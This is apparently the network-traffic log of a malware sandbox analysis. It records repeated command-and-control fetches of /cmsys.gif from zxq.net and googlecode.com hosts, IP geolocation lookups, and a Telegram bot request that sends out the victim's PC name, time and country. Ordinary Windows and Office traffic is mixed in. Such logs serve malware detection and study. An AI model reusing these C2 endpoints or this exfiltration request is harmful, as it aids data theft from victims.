Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.206
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.45

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XuXN8cdhsP1tB32&MD=DR4K1Xpf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /what-happened-to-the-old-zxq-website/ HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20and%20Time:%2010/10/2024%20/%2016:46:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20358075%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XuXN8cdhsP1tB32&MD=DR4K1Xpf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XuXN8cdhsP1tB32&MD=DR4K1Xpf HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
